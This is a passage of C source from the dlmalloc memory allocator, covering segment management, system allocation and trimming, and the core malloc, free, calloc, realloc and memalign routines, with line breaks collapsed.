-------------------------- mspace management -------------------------- */ /* Initialize top chunk and its size */ static void init_top(mstate m, mchunkptr p, size_t psize) { /* Ensure alignment */ size_t offset = align_offset(chunk2mem(p)); p = (mchunkptr)((char*)p + offset); psize -= offset; m->top = p; m->topsize = psize; p->head = psize | PINUSE_BIT; /* set size of fake trailing chunk holding overhead space only once */ chunk_plus_offset(p, psize)->head = TOP_FOOT_SIZE; m->trim_check = mparams.trim_threshold; /* reset on each update */ } /* Initialize bins for a new mstate that is otherwise zeroed out */ static void init_bins(mstate m) { /* Establish circular links for smallbins */ bindex_t i; for (i = 0; i < NSMALLBINS; ++i) { sbinptr bin = smallbin_at(m,i); bin->fd = bin->bk = bin; } } #if PROCEED_ON_ERROR /* default corruption action */ static void reset_on_error(mstate m) { int i; ++malloc_corruption_error_count; /* Reinitialize fields to forget about all memory */ m->smallmap = m->treemap = 0; m->dvsize = m->topsize = 0; m->seg.base = 0; m->seg.size = 0; m->seg.next = 0; m->top = m->dv = 0; for (i = 0; i < NTREEBINS; ++i) *treebin_at(m, i) = 0; init_bins(m); } #endif /* PROCEED_ON_ERROR */ /* Allocate chunk and prepend remainder with chunk in successor base. */ static void* prepend_alloc(mstate m, char* newbase, char* oldbase, size_t nb) { mchunkptr p = align_as_chunk(newbase); mchunkptr oldfirst = align_as_chunk(oldbase); size_t psize = (char*)oldfirst - (char*)p; mchunkptr q = chunk_plus_offset(p, nb); size_t qsize = psize - nb; set_size_and_pinuse_of_inuse_chunk(m, p, nb); assert((char*)oldfirst > (char*)q); assert(pinuse(oldfirst)); assert(qsize >= MIN_CHUNK_SIZE); /* consolidate remainder with first chunk of old base */ if (oldfirst == m->top) { size_t tsize = m->topsize += qsize; m->top = q; q->head = tsize | PINUSE_BIT; check_top_chunk(m, q); } else if (oldfirst == m->dv) { size_t dsize = m->dvsize += qsize; m->dv = q; set_size_and_pinuse_of_free_chunk(q, dsize); } else { if (!is_inuse(oldfirst)) { size_t nsize = chunksize(oldfirst); unlink_chunk(m, oldfirst, nsize); oldfirst = chunk_plus_offset(oldfirst, nsize); qsize += nsize; } set_free_with_pinuse(q, qsize, oldfirst); insert_chunk(m, q, qsize); check_free_chunk(m, q); } check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } /* Add a segment to hold a new noncontiguous region */ static void add_segment(mstate m, char* tbase, size_t tsize, flag_t mmapped) { /* Determine locations and sizes of segment, fenceposts, old top */ char* old_top = (char*)m->top; msegmentptr oldsp = segment_holding(m, old_top); char* old_end = oldsp->base + oldsp->size; size_t ssize = pad_request(sizeof(struct malloc_segment)); char* rawsp = old_end - (ssize + FOUR_SIZE_T_SIZES + CHUNK_ALIGN_MASK); size_t offset = align_offset(chunk2mem(rawsp)); char* asp = rawsp + offset; char* csp = (asp < (old_top + MIN_CHUNK_SIZE))? old_top : asp; mchunkptr sp = (mchunkptr)csp; msegmentptr ss = (msegmentptr)(chunk2mem(sp)); mchunkptr tnext = chunk_plus_offset(sp, ssize); mchunkptr p = tnext; int nfences = 0; /* reset top to new space */ init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); /* Set up segment record */ assert(is_aligned(ss)); set_size_and_pinuse_of_inuse_chunk(m, sp, ssize); *ss = m->seg; /* Push current record */ m->seg.base = tbase; m->seg.size = tsize; m->seg.sflags = mmapped; m->seg.next = ss; /* Insert trailing fenceposts */ for (;;) { mchunkptr nextp = chunk_plus_offset(p, SIZE_T_SIZE); p->head = FENCEPOST_HEAD; ++nfences; if ((char*)(&(nextp->head)) < old_end) p = nextp; else break; } assert(nfences >= 2); /* Insert the rest of old top into a bin as an ordinary free chunk */ if (csp != old_top) { mchunkptr q = (mchunkptr)old_top; size_t psize = csp - old_top; mchunkptr tn = chunk_plus_offset(q, psize); set_free_with_pinuse(q, psize, tn); insert_chunk(m, q, psize); } check_top_chunk(m, m->top); } /* -------------------------- System allocation -------------------------- */ /* Get memory from system using MORECORE or MMAP */ static void* sys_alloc(mstate m, size_t nb) { char* tbase = CMFAIL; size_t tsize = 0; flag_t mmap_flag = 0; size_t asize; /* allocation size */ ensure_initialization(); /* Directly map large chunks, but only if already initialized */ if (use_mmap(m) && nb >= mparams.mmap_threshold && m->topsize != 0) { void* mem = mmap_alloc(m, nb); if (mem != 0) return mem; } asize = granularity_align(nb + SYS_ALLOC_PADDING); if (asize <= nb) return 0; /* wraparound */ if (m->footprint_limit != 0) { size_t fp = m->footprint + asize; if (fp <= m->footprint || fp > m->footprint_limit) return 0; } /* Try getting memory in any of three ways (in most-preferred to least-preferred order): 1. A call to MORECORE that can normally contiguously extend memory. (disabled if not MORECORE_CONTIGUOUS or not HAVE_MORECORE or or main space is mmapped or a previous contiguous call failed) 2. A call to MMAP new space (disabled if not HAVE_MMAP). Note that under the default settings, if MORECORE is unable to fulfill a request, and HAVE_MMAP is true, then mmap is used as a noncontiguous system allocator. This is a useful backup strategy for systems with holes in address spaces -- in this case sbrk cannot contiguously expand the heap, but mmap may be able to find space. 3. A call to MORECORE that cannot usually contiguously extend memory. (disabled if not HAVE_MORECORE) In all cases, we need to request enough bytes from system to ensure we can malloc nb bytes upon success, so pad with enough space for top_foot, plus alignment-pad to make sure we don't lose bytes if not on boundary, and round this up to a granularity unit. */ if (MORECORE_CONTIGUOUS && !use_noncontiguous(m)) { char* br = CMFAIL; size_t ssize = asize; /* sbrk call size */ msegmentptr ss = (m->top == 0)? 0 : segment_holding(m, (char*)m->top); ACQUIRE_MALLOC_GLOBAL_LOCK(); if (ss == 0) { /* First time through or recovery */ char* base = (char*)CALL_MORECORE(0); if (base != CMFAIL) { size_t fp; /* Adjust to end on a page boundary */ if (!is_page_aligned(base)) ssize += (page_align((size_t)base) - (size_t)base); fp = m->footprint + ssize; /* recheck limits */ if (ssize > nb && ssize < HALF_MAX_SIZE_T && (m->footprint_limit == 0 || (fp > m->footprint && fp <= m->footprint_limit)) && (br = (char*)(CALL_MORECORE(ssize))) == base) { tbase = base; tsize = ssize; } } } else { /* Subtract out existing available top space from MORECORE request. */ ssize = granularity_align(nb - m->topsize + SYS_ALLOC_PADDING); /* Use mem here only if it did continuously extend old space */ if (ssize < HALF_MAX_SIZE_T && (br = (char*)(CALL_MORECORE(ssize))) == ss->base+ss->size) { tbase = br; tsize = ssize; } } if (tbase == CMFAIL) { /* Cope with partial failure */ if (br != CMFAIL) { /* Try to use/extend the space we did get */ if (ssize < HALF_MAX_SIZE_T && ssize < nb + SYS_ALLOC_PADDING) { size_t esize = granularity_align(nb + SYS_ALLOC_PADDING - ssize); if (esize < HALF_MAX_SIZE_T) { char* end = (char*)CALL_MORECORE(esize); if (end != CMFAIL) ssize += esize; else { /* Can't use; try to release */ (void) CALL_MORECORE(-ssize); br = CMFAIL; } } } } if (br != CMFAIL) { /* Use the space we did get */ tbase = br; tsize = ssize; } else disable_contiguous(m); /* Don't try contiguous path in the future */ } RELEASE_MALLOC_GLOBAL_LOCK(); } if (HAVE_MMAP && tbase == CMFAIL) { /* Try MMAP */ char* mp = (char*)(CALL_MMAP(asize)); if (mp != CMFAIL) { tbase = mp; tsize = asize; mmap_flag = USE_MMAP_BIT; } } if (HAVE_MORECORE && tbase == CMFAIL) { /* Try noncontiguous MORECORE */ if (asize < HALF_MAX_SIZE_T) { char* br = CMFAIL; char* end = CMFAIL; ACQUIRE_MALLOC_GLOBAL_LOCK(); br = (char*)(CALL_MORECORE(asize)); end = (char*)(CALL_MORECORE(0)); RELEASE_MALLOC_GLOBAL_LOCK(); if (br != CMFAIL && end != CMFAIL && br < end) { size_t ssize = end - br; if (ssize > nb + TOP_FOOT_SIZE) { tbase = br; tsize = ssize; } } } } if (tbase != CMFAIL) { if ((m->footprint += tsize) > m->max_footprint) m->max_footprint = m->footprint; if (!is_initialized(m)) { /* first-time initialization */ if (m->least_addr == 0 || tbase < m->least_addr) m->least_addr = tbase; m->seg.base = tbase; m->seg.size = tsize; m->seg.sflags = mmap_flag; m->magic = mparams.magic; m->release_checks = MAX_RELEASE_CHECK_RATE; init_bins(m); #if !ONLY_MSPACES if (is_global(m)) init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); else #endif { /* Offset top by embedded malloc_state */ mchunkptr mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) -TOP_FOOT_SIZE); } } else { /* Try to merge with an existing segment */ msegmentptr sp = &m->seg; /* Only consider most recent segment if traversal suppressed */ while (sp != 0 && tbase != sp->base + sp->size) sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next; if (sp != 0 && !is_extern_segment(sp) && (sp->sflags & USE_MMAP_BIT) == mmap_flag && segment_holds(sp, m->top)) { /* append */ sp->size += tsize; init_top(m, m->top, m->topsize + tsize); } else { if (tbase < m->least_addr) m->least_addr = tbase; sp = &m->seg; while (sp != 0 && sp->base != tbase + tsize) sp = (NO_SEGMENT_TRAVERSAL) ? 0 : sp->next; if (sp != 0 && !is_extern_segment(sp) && (sp->sflags & USE_MMAP_BIT) == mmap_flag) { char* oldbase = sp->base; sp->base = tbase; sp->size += tsize; return prepend_alloc(m, tbase, oldbase, nb); } else add_segment(m, tbase, tsize, mmap_flag); } } if (nb < m->topsize) { /* Allocate from new or extended top space */ size_t rsize = m->topsize -= nb; mchunkptr p = m->top; mchunkptr r = m->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(m, p, nb); check_top_chunk(m, m->top); check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } } MALLOC_FAILURE_ACTION; return 0; } /* ----------------------- system deallocation -------------------------- */ /* Unmap and unlink any mmapped segments that don't contain used chunks */ static size_t release_unused_segments(mstate m) { size_t released = 0; int nsegs = 0; msegmentptr pred = &m->seg; msegmentptr sp = pred->next; while (sp != 0) { char* base = sp->base; size_t size = sp->size; msegmentptr next = sp->next; ++nsegs; if (is_mmapped_segment(sp) && !is_extern_segment(sp)) { mchunkptr p = align_as_chunk(base); size_t psize = chunksize(p); /* Can unmap if first chunk holds entire segment and not pinned */ if (!is_inuse(p) && (char*)p + psize >= base + size - TOP_FOOT_SIZE) { tchunkptr tp = (tchunkptr)p; assert(segment_holds(sp, (char*)sp)); if (p == m->dv) { m->dv = 0; m->dvsize = 0; } else { unlink_large_chunk(m, tp); } if (CALL_MUNMAP(base, size) == 0) { released += size; m->footprint -= size; /* unlink obsoleted record */ sp = pred; sp->next = next; } else { /* back out if cannot unmap */ insert_large_chunk(m, tp, psize); } } } if (NO_SEGMENT_TRAVERSAL) /* scan only first segment */ break; pred = sp; sp = next; } /* Reset check counter */ m->release_checks = (((size_t) nsegs > (size_t) MAX_RELEASE_CHECK_RATE)? (size_t) nsegs : (size_t) MAX_RELEASE_CHECK_RATE); return released; } static int sys_trim(mstate m, size_t pad) { size_t released = 0; ensure_initialization(); if (pad < MAX_REQUEST && is_initialized(m)) { pad += TOP_FOOT_SIZE; /* ensure enough room for segment overhead */ if (m->topsize > pad) { /* Shrink top space in granularity-size units, keeping at least one */ size_t unit = mparams.granularity; size_t extra = ((m->topsize - pad + (unit - SIZE_T_ONE)) / unit - SIZE_T_ONE) * unit; msegmentptr sp = segment_holding(m, (char*)m->top); if (!is_extern_segment(sp)) { if (is_mmapped_segment(sp)) { if (HAVE_MMAP && sp->size >= extra && !has_segment_link(m, sp)) { /* can't shrink if pinned */ size_t newsize = sp->size - extra; (void)newsize; /* placate people compiling -Wunused-variable */ /* Prefer mremap, fall back to munmap */ if ((CALL_MREMAP(sp->base, sp->size, newsize, 0) != MFAIL) || (CALL_MUNMAP(sp->base + newsize, extra) == 0)) { released = extra; } } } else if (HAVE_MORECORE) { if (extra >= HALF_MAX_SIZE_T) /* Avoid wrapping negative */ extra = (HALF_MAX_SIZE_T) + SIZE_T_ONE - unit; ACQUIRE_MALLOC_GLOBAL_LOCK(); { /* Make sure end of memory is where we last set it. */ char* old_br = (char*)(CALL_MORECORE(0)); if (old_br == sp->base + sp->size) { char* rel_br = (char*)(CALL_MORECORE(-extra)); char* new_br = (char*)(CALL_MORECORE(0)); if (rel_br != CMFAIL && new_br < old_br) released = old_br - new_br; } } RELEASE_MALLOC_GLOBAL_LOCK(); } } if (released != 0) { sp->size -= released; m->footprint -= released; init_top(m, m->top, m->topsize - released); check_top_chunk(m, m->top); } } /* Unmap any unused mmapped segments */ if (HAVE_MMAP) released += release_unused_segments(m); /* On failure, disable autotrim to avoid repeated failed future calls */ if (released == 0 && m->topsize > m->trim_check) m->trim_check = MAX_SIZE_T; } return (released != 0)? 1 : 0; } /* Consolidate and bin a chunk. Differs from exported versions of free mainly in that the chunk need not be marked as inuse. */ static void dispose_chunk(mstate m, mchunkptr p, size_t psize) { mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { mchunkptr prev; size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) m->footprint -= psize; return; } prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(m, prev))) { /* consolidate backward */ if (p != m->dv) { unlink_chunk(m, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { m->dvsize = psize; set_free_with_pinuse(p, psize, next); return; } } else { CORRUPTION_ERROR_ACTION(m); return; } } if (RTCHECK(ok_address(m, next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == m->top) { size_t tsize = m->topsize += psize; m->top = p; p->head = tsize | PINUSE_BIT; if (p == m->dv) { m->dv = 0; m->dvsize = 0; } return; } else if (next == m->dv) { size_t dsize = m->dvsize += psize; m->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); return; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(m, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == m->dv) { m->dvsize = psize; return; } } } else { set_free_with_pinuse(p, psize, next); } insert_chunk(m, p, psize); } else { CORRUPTION_ERROR_ACTION(m); } } /* ---------------------------- malloc --------------------------- */ /* allocate a large request from the best fitting chunk in a treebin */ static void* tmalloc_large(mstate m, size_t nb) { tchunkptr v = 0; size_t rsize = -nb; /* Unsigned negation */ tchunkptr t; bindex_t idx; compute_tree_index(nb, idx); if ((t = *treebin_at(m, idx)) != 0) { /* Traverse tree for this bin looking for node with size == nb */ size_t sizebits = nb << leftshift_for_tree_index(idx); tchunkptr rst = 0; /* The deepest untaken right subtree */ for (;;) { tchunkptr rt; size_t trem = chunksize(t) - nb; if (trem < rsize) { v = t; if ((rsize = trem) == 0) break; } rt = t->child[1]; t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; if (rt != 0 && rt != t) rst = rt; if (t == 0) { t = rst; /* set t to least subtree holding sizes > nb */ break; } sizebits <<= 1; } } if (t == 0 && v == 0) { /* set t to root of next non-empty treebin */ binmap_t leftbits = left_bits(idx2bit(idx)) & m->treemap; if (leftbits != 0) { bindex_t i; binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); t = *treebin_at(m, i); } } while (t != 0) { /* find smallest of tree or subtree */ size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } t = leftmost_child(t); } /* If dv is a better fit, return 0 so malloc will use it */ if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { if (RTCHECK(ok_address(m, v))) { /* split */ mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); insert_chunk(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); } return 0; } /* allocate a small request from the best fitting chunk in a treebin */ static void* tmalloc_small(mstate m, size_t nb) { tchunkptr t, v; size_t rsize; bindex_t i; binmap_t leastbit = least_bit(m->treemap); compute_bit2idx(leastbit, i); v = t = *treebin_at(m, i); rsize = chunksize(t) - nb; while ((t = leftmost_child(t)) != 0) { size_t trem = chunksize(t) - nb; if (trem < rsize) { rsize = trem; v = t; } } if (RTCHECK(ok_address(m, v))) { mchunkptr r = chunk_plus_offset(v, nb); assert(chunksize(v) == rsize + nb); if (RTCHECK(ok_next(v, r))) { unlink_large_chunk(m, v); if (rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(m, v, (rsize + nb)); else { set_size_and_pinuse_of_inuse_chunk(m, v, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(m, r, rsize); } return chunk2mem(v); } } CORRUPTION_ERROR_ACTION(m); return 0; } #if !ONLY_MSPACES void* dlmalloc(size_t bytes) { /* Basic algorithm: If a small request (< 256 bytes minus per-chunk overhead): 1. If one exists, use a remainderless chunk in associated smallbin. (Remainderless means that there are too few excess bytes to represent as a chunk.) 2. If it is big enough, use the dv chunk, which is normally the chunk adjacent to the one used for the most recent small request. 3. If one exists, split the smallest available chunk in a bin, saving remainder in dv. 4. If it is big enough, use the top chunk. 5. If available, get memory from system and use it Otherwise, for a large request: 1. Find the smallest available binned chunk that fits, and use it if it is better fitting than dv chunk, splitting if necessary. 2. If better fitting than any binned chunk, use the dv chunk. 3. If it is big enough, use the top chunk. 4. If request size >= mmap threshold, try to directly mmap this chunk. 5. If available, get memory from system and use it The ugly goto's here ensure that postaction occurs along all paths. */ #if USE_LOCKS ensure_initialization(); /* initialize in sys_alloc if not using locks */ #endif if (!PREACTION(gm)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = gm->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(gm, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(gm, b, p, idx); set_inuse_and_pinuse(gm, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb > gm->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(gm, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(gm, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(gm, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(gm, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(gm, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (gm->treemap != 0 && (mem = tmalloc_small(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (gm->treemap != 0 && (mem = tmalloc_large(gm, nb)) != 0) { check_malloced_chunk(gm, mem, nb); goto postaction; } } if (nb <= gm->dvsize) { size_t rsize = gm->dvsize - nb; mchunkptr p = gm->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = gm->dv = chunk_plus_offset(p, nb); gm->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(gm, p, nb); } else { /* exhaust dv */ size_t dvs = gm->dvsize; gm->dvsize = 0; gm->dv = 0; set_inuse_and_pinuse(gm, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(gm, mem, nb); goto postaction; } else if (nb < gm->topsize) { /* Split top */ size_t rsize = gm->topsize -= nb; mchunkptr p = gm->top; mchunkptr r = gm->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(gm, p, nb); mem = chunk2mem(p); check_top_chunk(gm, gm->top); check_malloced_chunk(gm, mem, nb); goto postaction; } mem = sys_alloc(gm, nb); postaction: POSTACTION(gm); return mem; } return 0; } /* ---------------------------- free --------------------------- */ void dlfree(void* mem) { /* Consolidate freed chunks with preceeding or succeeding bordering free chunks, if they exist, and then place in a bin. Intermixed with special cases for top, dv, mmapped chunks, and usage errors. */ if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } #else /* FOOTERS */ #define fm gm #endif /* FOOTERS */ if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); if (is_small(psize)) { insert_small_chunk(fm, p, psize); check_free_chunk(fm, p); } else { tchunkptr tp = (tchunkptr)p; insert_large_chunk(fm, tp, psize); check_free_chunk(fm, p); if (--fm->release_checks == 0) release_unused_segments(fm); } goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } #if !FOOTERS #undef fm #endif /* FOOTERS */ } void* dlcalloc(size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = dlmalloc(req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } #endif /* !ONLY_MSPACES */ /* ------------ Internal support for realloc, memalign, etc -------------- */ /* Try to realloc; only in-place unless can_move true */ static mchunkptr try_realloc_chunk(mstate m, mchunkptr p, size_t nb, int can_move) { mchunkptr newp = 0; size_t oldsize = chunksize(p); mchunkptr next = chunk_plus_offset(p, oldsize); if (RTCHECK(ok_address(m, p) && ok_inuse(p) && ok_next(p, next) && ok_pinuse(next))) { if (is_mmapped(p)) { newp = mmap_resize(m, p, nb, can_move); } else if (oldsize >= nb) { /* already big enough */ size_t rsize = oldsize - nb; if (rsize >= MIN_CHUNK_SIZE) { /* split off remainder */ mchunkptr r = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, r, rsize); dispose_chunk(m, r, rsize); } newp = p; } else if (next == m->top) { /* extend into top */ if (oldsize + m->topsize > nb) { size_t newsize = oldsize + m->topsize; size_t newtopsize = newsize - nb; mchunkptr newtop = chunk_plus_offset(p, nb); set_inuse(m, p, nb); newtop->head = newtopsize |PINUSE_BIT; m->top = newtop; m->topsize = newtopsize; newp = p; } } else if (next == m->dv) { /* extend into dv */ size_t dvs = m->dvsize; if (oldsize + dvs >= nb) { size_t dsize = oldsize + dvs - nb; if (dsize >= MIN_CHUNK_SIZE) { mchunkptr r = chunk_plus_offset(p, nb); mchunkptr n = chunk_plus_offset(r, dsize); set_inuse(m, p, nb); set_size_and_pinuse_of_free_chunk(r, dsize); clear_pinuse(n); m->dvsize = dsize; m->dv = r; } else { /* exhaust dv */ size_t newsize = oldsize + dvs; set_inuse(m, p, newsize); m->dvsize = 0; m->dv = 0; } newp = p; } } else if (!cinuse(next)) { /* extend into next free chunk */ size_t nextsize = chunksize(next); if (oldsize + nextsize >= nb) { size_t rsize = oldsize + nextsize - nb; unlink_chunk(m, next, nextsize); if (rsize < MIN_CHUNK_SIZE) { size_t newsize = oldsize + nextsize; set_inuse(m, p, newsize); } else { mchunkptr r = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, r, rsize); dispose_chunk(m, r, rsize); } newp = p; } } } else { USAGE_ERROR_ACTION(m, chunk2mem(p)); } return newp; } static void* internal_memalign(mstate m, size_t alignment, size_t bytes) { void* mem = 0; if (alignment < MIN_CHUNK_SIZE) /* must be at least a minimum chunk size */ alignment = MIN_CHUNK_SIZE; if ((alignment & (alignment-SIZE_T_ONE)) != 0) {/* Ensure a power of 2 */ size_t a = MALLOC_ALIGNMENT << 1; while (a < alignment) a <<= 1; alignment = a; } if (bytes >= MAX_REQUEST - alignment) { if (m != 0) { /* Test isn't needed but avoids compiler warning */ MALLOC_FAILURE_ACTION; } } else { size_t nb = request2size(bytes); size_t req = nb + alignment + MIN_CHUNK_SIZE - CHUNK_OVERHEAD; mem = internal_malloc(m, req); if (mem != 0) { mchunkptr p = mem2chunk(mem); if (PREACTION(m)) return 0; if ((((size_t)(mem)) & (alignment - 1)) != 0) { /* misaligned */ /* Find an aligned spot inside chunk. Since we need to give back leading space in a chunk of at least MIN_CHUNK_SIZE, if the first calculation places us at a spot with less than MIN_CHUNK_SIZE leader, we can move to the next aligned spot. We've allocated enough total room so that this is always possible. */ char* br = (char*)mem2chunk((size_t)(((size_t)((char*)mem + alignment - SIZE_T_ONE)) & -alignment)); char* pos = ((size_t)(br - (char*)(p)) >= MIN_CHUNK_SIZE)? br : br+alignment; mchunkptr newp = (mchunkptr)pos; size_t leadsize = pos - (char*)(p); size_t newsize = chunksize(p) - leadsize; if (is_mmapped(p)) { /* For mmapped chunks, just adjust offset */ newp->prev_foot = p->prev_foot + leadsize; newp->head = newsize; } else { /* Otherwise, give back leader, use the rest */ set_inuse(m, newp, newsize); set_inuse(m, p, leadsize); dispose_chunk(m, p, leadsize); } p = newp; } /* Give back spare room at the end */ if (!is_mmapped(p)) { size_t size = chunksize(p); if (size > nb + MIN_CHUNK_SIZE) { size_t remainder_size = size - nb; mchunkptr remainder = chunk_plus_offset(p, nb); set_inuse(m, p, nb); set_inuse(m, remainder, remainder_size); dispose_chunk(m, remainder, remainder_size); } } mem = chunk2mem(p); assert (chunksize(p) >= nb); assert(((size_t)mem & (alignment - 1)) == 0); check_inuse_chunk(m, p); POSTACTION(m); } } return mem; } /* Common support for independent_X routines, handling all of the combinations that can result. The opts arg has: bit 0 set if all elements are same size (using sizes[0]) bit 1 set if elements should be zeroed */ static void** ialloc(mstate m, size_t n_elements, size_t* sizes, int opts, void* chunks[]) { size_t element_size; /* chunksize of each element, if all same */ size_t contents_size; /* total size of elements */ size_t array_size; /* request size of pointer array */ void* mem; /* malloced aggregate space */ mchunkptr p; /* corresponding chunk */ size_t remainder_size; /* remaining bytes while splitting */ void** marray; /* either "chunks" or malloced ptr array */ mchunkptr array_chunk; /* chunk for malloced ptr array */ flag_t was_enabled; /* to disable mmap */ size_t size; size_t i; ensure_initialization(); /* compute array length, if needed */ if (chunks != 0) { if (n_elements == 0) return chunks; /* nothing to do */ marray = chunks; array_size = 0; } else { /* if empty req, must still return chunk representing empty array */ if (n_elements == 0) return (void**)internal_malloc(m, 0); marray = 0; array_size = request2size(n_elements * (sizeof(void*))); } /* compute total element size */ if (opts & 0x1) { /* all-same-size */ element_size = request2size(*sizes); contents_size = n_elements * element_size; } else { /* add up all the sizes */ element_size = 0; contents_size = 0; for (i = 0; i != n_elements; ++i) contents_size += request2size(sizes[i]); } size = contents_size + array_size; /* Allocate the aggregate chunk. First disable direct-mmapping so malloc won't use it, since we would not be able to later free/realloc space internal to a segregated mmap region. */ was_enabled = use_mmap(m); disable_mmap(m); mem = internal_malloc(m, size - CHUNK_OVERHEAD); if (was_enabled) enable_mmap(m); if (mem == 0) return 0; if (PREACTION(m)) return 0; p = mem2chunk(mem); remainder_size = chunksize(p); assert(!is_mmapped(p)); if (opts & 0x2) { /* optionally clear the elements */ memset((size_t*)mem, 0, remainder_size - SIZE_T_SIZE - array_size); } /* If not provided, allocate the pointer array as final part of chunk */ if (marray == 0) { size_t array_chunk_size; array_chunk = chunk_plus_offset(p, contents_size); array_chunk_size = remainder_size - contents_size; marray = (void**) (chunk2mem(array_chunk)); set_size_and_pinuse_of_inuse_chunk(m, array_chunk, array_chunk_size); remainder_size = contents_size; } /* split out elements */ for (i = 0; ; ++i) { marray[i] = chunk2mem(p); if (i != n_elements-1) { if (element_size != 0) size = element_size; else size = request2size(sizes[i]); remainder_size -= size; set_size_and_pinuse_of_inuse_chunk(m, p, size); p = chunk_plus_offset(p, size); } else { /* the final element absorbs any overallocation slop */ 